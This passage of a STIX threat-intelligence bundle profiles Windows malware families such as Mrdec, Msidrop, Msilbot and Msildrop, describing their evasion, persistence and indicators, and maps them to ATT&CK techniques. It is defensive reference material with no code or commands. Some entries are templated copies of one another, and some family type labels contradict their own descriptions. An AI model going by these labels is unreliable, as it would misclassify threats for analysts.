`%ProgramFiles%\\Mozilla Firefox` directories, attempting to blend in with valid browser extensions and configuration files.</li>\n</ul>\nOnce persistence is established (often via registry run keys), Mozla acts as a downloader and backdoor, communicating with a command-and-control (C2) server to receive instructions and download secondary payloads, such as banking trojans or info-stealers.\n\n<h3>Security and Privacy Implications</h3>\nThe primary threat posed by Mozla is its ability to evade initial detection and grant an attacker persistent, remote access to the compromised host. Because it operates under the guise of a trusted application, standard endpoint firewalls may inadvertently allow its outbound C2 communications.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Process Verification:</strong> Utilize advanced task management tools (like Sysinternals Process Explorer) to verify the digital signature of all running `firefox.exe` instances. Legitimate Mozilla executables are signed by the Mozilla Corporation.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous parent-child process relationships. A legitimate browser process should generally not be spawning `cmd.exe` or `powershell.exe`.</li>\n<li><strong>Automated Removal:</strong> Run a comprehensive scan using a reputable anti-malware platform to isolate and remove the Mozla binaries and their associated registry persistence mechanisms.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Mozla",
        "Win32/Mozla",
        "Backdoor.Mozla"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mozla",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mozla"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae0a839-3ecf-5671-8393-10e505c1f465",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed5f42e2-7264-5f0c-917b-6806d87bbc75",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mozla exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f0a0d40-167f-5839-95e1-250d40afca5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed5f42e2-7264-5f0c-917b-6806d87bbc75",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mozla exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f9c2d87-4a59-5956-b4a9-195833208817",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed5f42e2-7264-5f0c-917b-6806d87bbc75",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mozla exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11721995-5c06-53c7-9dc5-132f83489e1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed5f42e2-7264-5f0c-917b-6806d87bbc75",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mozla exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--520a946d-14d0-5e69-be22-12e8fd9f8152",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mrdec",
      "description": "Trojan:Win32/Mrdec is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mrdec</b><br>To an end-user, a Mrdec infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mrdec is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mrdec is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mrdec frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mrdec reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mrdec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mrdec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8883244f-1f31-56d6-a459-b0f37289ab6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--520a946d-14d0-5e69-be22-12e8fd9f8152",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mrdec exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95a600cb-dbc7-5048-9c6d-7422662b7359",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--520a946d-14d0-5e69-be22-12e8fd9f8152",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mrdec exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c6785a8-d76a-5179-9c8a-75bebe079ca9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--520a946d-14d0-5e69-be22-12e8fd9f8152",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mrdec exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13b748a9-cfc3-5a63-977a-ffbe8ab3e55d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--520a946d-14d0-5e69-be22-12e8fd9f8152",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mrdec exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78b2d342-685a-562e-ba47-f57477cf1a8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--520a946d-14d0-5e69-be22-12e8fd9f8152",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mrdec exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9f803113-1626-5c4c-9aef-d11620aac586",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mresmon",
      "description": "Trojan:Win32/Mresmon is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mresmon</b><br>To an end-user, a Mresmon infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mresmon is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mresmon is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mresmon frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mresmon reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mresmon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mresmon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f6c3980-c622-5642-854a-3061f79c9000",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f803113-1626-5c4c-9aef-d11620aac586",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mresmon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2630709d-9db3-5678-8b17-6cd31ebaa8d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f803113-1626-5c4c-9aef-d11620aac586",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mresmon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d15ac5e3-0353-56b4-b26b-94ae3e2d5d4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f803113-1626-5c4c-9aef-d11620aac586",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mresmon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e1700f9-8fc1-5684-ab1c-a7ca078f5769",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f803113-1626-5c4c-9aef-d11620aac586",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mresmon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79ff9c3e-de68-51a3-9e6f-b53b142ad2ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f803113-1626-5c4c-9aef-d11620aac586",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mresmon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7f3f04b-9431-5f6b-a536-0cead13ecf4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msidrop",
      "description": "Behavior:Win32/Msidrop is a critical **Heuristic and Generic Detection** applied to malicious Windows Installer (`.msi`) packages. Attackers heavily utilize malicious MSI files to bypass security controls. Because `msiexec.exe` is a trusted, signed Microsoft binary designed to install software, many Application Control solutions (like AppLocker) and Endpoint Detection and Response (EDR) platforms implicitly trust it, allowing attackers to proxy the execution of their payloads undetected.<br><br><b>Understanding Msidrop (Proxy Execution)</b><br>To an end-user, executing a malicious `.msi` file usually looks like a standard software installation wizard, though it may run completely silently (`/qn`). For a security analyst, an Msidrop detection highlights the abuse of a legitimate system component (System Binary Proxy Execution - `T1218.007`). Attackers use malicious MSIs to drop Initial Access Brokers (like IcedID or Qakbot) or directly install Ransomware.<br><br><b>Execution and Evasion Mechanics</b><br>The `.msi` files are typically delivered via phishing emails (`T1566.001`) disguised as software updates or invoices. The malicious MSI package is authored using tools like WiX toolset to contain custom VBScript, JavaScript, or a compiled DLL (`CustomAction`). When the user clicks the file, `msiexec.exe` executes the embedded script or DLL in the context of the installer service, often resulting in privilege escalation (`T1548.002`). This process allows the malware to drop files into protected directories or establish persistence (`T1547.001`) while appearing as legitimate installation activity to security monitoring tools.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the dropped payload, but it is usually severe. Host-based IoCs include EDR alerts for `msiexec.exe` spawning suspicious child processes (like `powershell.exe`, `cmd.exe`, or `rundll32.exe`), or `msiexec.exe` making unexpected outbound network connections (`T1105`). The presence of randomly named executables or DLLs dropped into `C:\\Windows\\Installer` or `%AppData%` immediately following an MSI execution is a strong indicator. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msidrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msidrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3f8a12a0-4350-5fd1-8cfd-994fc648b131",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1218.007: System Binary Proxy Execution: Msiexec",
      "description": "MITRE ATT&CK Technique T1218.007 (System Binary Proxy Execution: Msiexec) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1218.007",
          "url": "https://attack.mitre.org/techniques/T1218/007/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5cf7192-30fc-56f0-8c5e-68ec92066694",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7f3f04b-9431-5f6b-a536-0cead13ecf4d",
      "target_ref": "attack-pattern--3f8a12a0-4350-5fd1-8cfd-994fc648b131",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msidrop exhibits technique T1218.007 (System Binary Proxy Execution: Msiexec)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4cde116-442c-5c33-afd3-83713b007401",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7f3f04b-9431-5f6b-a536-0cead13ecf4d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msidrop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--faaae5f4-d6b2-5152-baff-019a79791e0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7f3f04b-9431-5f6b-a536-0cead13ecf4d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msidrop exhibits technique T1105 (Ingress Tool Transfer (Msiexec downloading secondary payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--34df2239-a310-5520-b4cd-c81fba17c66b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msilbot",
      "description": "<h3>Executive Summary</h3>\nMSILBot (often detected as MSIL.Trojan or MSIL.Bot) refers to a broad category of botnet malware and remote access trojans (RATs) that are written and compiled using the Microsoft .NET framework (MSIL - Microsoft Intermediate Language). Because the .NET framework is deeply integrated into modern Windows operating systems, MSIL-based malware is highly prevalent, easy for attackers to develop rapidly, and capable of executing complex tasks without requiring additional runtime libraries.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMSILBots are distributed through various vectors, including malspam campaigns containing macro-enabled documents, malicious links in Discord or Telegram, and bundled with pirated software. They are often protected by readily available .NET obfuscators (like ConfuserEx) to evade static signature detection.\n\nUpon execution, MSIL-based bots exhibit versatile capabilities:\n<ul>\n<li><strong>Just-In-Time (JIT) Compilation:</strong> The MSIL code is compiled into native machine code on the fly by the .NET runtime when executed, which can sometimes bypass simplistic behavioral analysis engines that struggle to monitor JIT processes.</li>\n<li><strong>Comprehensive Botnet Functionality:</strong> Once active, the bot connects to a C2 server (often via HTTP or IRC) and awaits commands. Typical capabilities include downloading secondary payloads, executing arbitrary shell commands, launching DDoS attacks (UDP/TCP flooding), and acting as a proxy.</li>\n<li><strong>Information Stealing:</strong> Many MSIL bots incorporate modules to scrape memory, log keystrokes, and extract saved credentials from web browsers and email clients.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn MSILBot infection is a severe security incident. It indicates that the infected endpoint has been compromised and incorporated into a larger botnet, granting remote attackers full administrative control over the machine. The versatility of .NET means the bot can quickly be repurposed from a simple DDoS node to a devastating info-stealer or ransomware loader.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to disconnect the endpoint from the network to sever communication with the botnet C2 infrastructure and halt any active data exfiltration or DDoS participation.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> EDR solutions must be tuned to monitor the .NET runtime (`mscoree.dll`, `clr.dll`) for anomalous behavior, such as a supposedly benign application spawning `cmd.exe` or initiating high-volume outbound network connections.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for the bot to have downloaded multiple secondary payloads and established deep persistence, attempting to manually \"clean\" the system is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.MSIL",
        "MSIL.Bot",
        "Win32/MSIL.Agent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msilbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msilbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c64cf256-4474-5d97-9261-dd4f0f85a2a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34df2239-a310-5520-b4cd-c81fba17c66b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilbot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f796ea7-1bb8-51ac-a33d-134509f5367a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34df2239-a310-5520-b4cd-c81fba17c66b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4d65d53-3ceb-5fd4-b1e1-4b7eb8a2e1a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34df2239-a310-5520-b4cd-c81fba17c66b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d37185a9-e6c5-53c3-9fbe-5b61a08e5e04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msildrop",
      "description": "TrojanDropper:Win32/Msildrop (or Generic MSIL Dropper) is a broad heuristic classification for malicious software written in C# or VB.NET and compiled into Microsoft Intermediate Language (MSIL). These executables act as 'Droppers' or 'Loaders'\u2014their sole purpose is to securely bypass local antivirus engines, extract a hidden, encrypted payload (often a severe threat like Agent Tesla, Formbook, or ransomware), and execute it directly in memory without writing it to disk.<br><br><b>Understanding .NET (MSIL) Droppers</b><br>To an end-user, an Msildrop infection is completely silent; the user simply opens an attachment, and nothing appears to happen. For a malware analyst, .NET droppers are incredibly common but frustrating. Threat actors heavily favor .NET because it is easy to write and, crucially, trivial to obfuscate using off-the-shelf tools like ConfuserEx or smartassembly. This renders traditional static signature matching almost useless.<br><br><b>Execution and Evasion Strategies</b><br>Msildrop variants are typically delivered via spear-phishing (`T1566.001`). When executed (`T1204.002`), the .NET assembly loads into memory. The code is usually heavily obfuscated (`T1027`), making it impossible to read the C# logic directly. The dropper will dynamically decrypt a secondary payload (often stored as an embedded resource or a base64 encoded string within the binary). To evade detection, it utilizes 'Process Hollowing' or 'RunPE' (`T1055.012`): it launches a legitimate Windows process (like `RegAsm.exe` or `vbc.exe`), hollows out its memory space, injects the decrypted malicious payload, and resumes the thread. The antivirus only sees a legitimate Microsoft binary running.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload, but typically involves credential theft or network compromise. Host-based IoCs include EDR alerts for 'Suspicious Process Hollowing' or unsigned `.exe` files dropping legitimate .NET framework utilities (like `jsc.exe` or `cvtres.exe`) and spawning them as child processes with anomalous memory allocations. Analysts must use .NET decompilers (like dnSpy or ILSpy) coupled with dynamic debugging to extract the final payload. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msildrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msildrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eea78ea-6e48-5406-88d5-b4eb381a80bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d37185a9-e6c5-53c3-9fbe-5b61a08e5e04",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msildrop exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e34c87a-540b-5721-a547-ba90ecfa2580",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d37185a9-e6c5-53c3-9fbe-5b61a08e5e04",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msildrop exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (ConfuserEx, etc.))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c2c434c-f53b-5c35-9ee4-41655130c0c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d37185a9-e6c5-53c3-9fbe-5b61a08e5e04",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msildrop exhibits technique T1129 (Shared Modules (Loading .NET assemblies dynamically))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0c09f97-2b09-5bf4-ab31-f84265cde45a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d37185a9-e6c5-53c3-9fbe-5b61a08e5e04",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msildrop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--412d1f99-e3a8-5c41-81ca-014eb9da22c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msilinj",
      "description": "Trojan:MSIL/Msilinj (often denoting a Microsoft Intermediate Language Injector) is a specific detection for a loader or 'crypter' written in the .NET framework (C#, VB.NET). Its primary purpose is to evade antivirus detection and securely execute a hidden, often highly malicious secondary payload (like AgentTesla, Remcos RAT, or NanoCore) directly into the memory of a legitimate Windows process (`T1055`).<br><br><b>Understanding Msilinj (.NET Loaders)</b><br>To an end-user, Msilinj is invisible; they might think they opened an invoice or a shipping document. For threat analysts, Msilinj represents the 'defense evasion' layer of a modern attack chain. Because it is written in .NET, attackers can easily use powerful obfuscation tools (like ConfuserEx) to scramble the code, rendering static signature-based detection highly ineffective. <br><br><b>Execution and Injection Mechanics</b><br>Msilinj is usually distributed as an executable disguised as a document (e.g., a PDF icon with an `.exe` extension) via malspam (`T1566.001`). Upon execution, the .NET assembly decrypts its hidden payload (often stored as an embedded resource or a base64 encoded string). It then leverages powerful Windows APIs (often via P/Invoke in C#) to perform Process Injection (`T1055`), typically 'Process Hollowing' (`T1055.012`). It starts a legitimate Windows process (like `RegAsm.exe`, `cvtres.exe`, or `MSBuild.exe`) in a suspended state, hollows out its memory, writes the decrypted malware payload into that memory space, and resumes the thread. The malicious payload is now running under the guise of a trusted Windows component.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the successful, stealthy execution of the secondary payload (usually a RAT or Infostealer). Host-based IoCs require EDR telemetry: look for a seemingly benign process (like the initial dropped `.exe`) launching a legitimate Windows utility (like `RegAsm.exe`) with unusual command-line arguments or without any associated parent process logic, followed by the child process making anomalous network connections (`T1071`). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
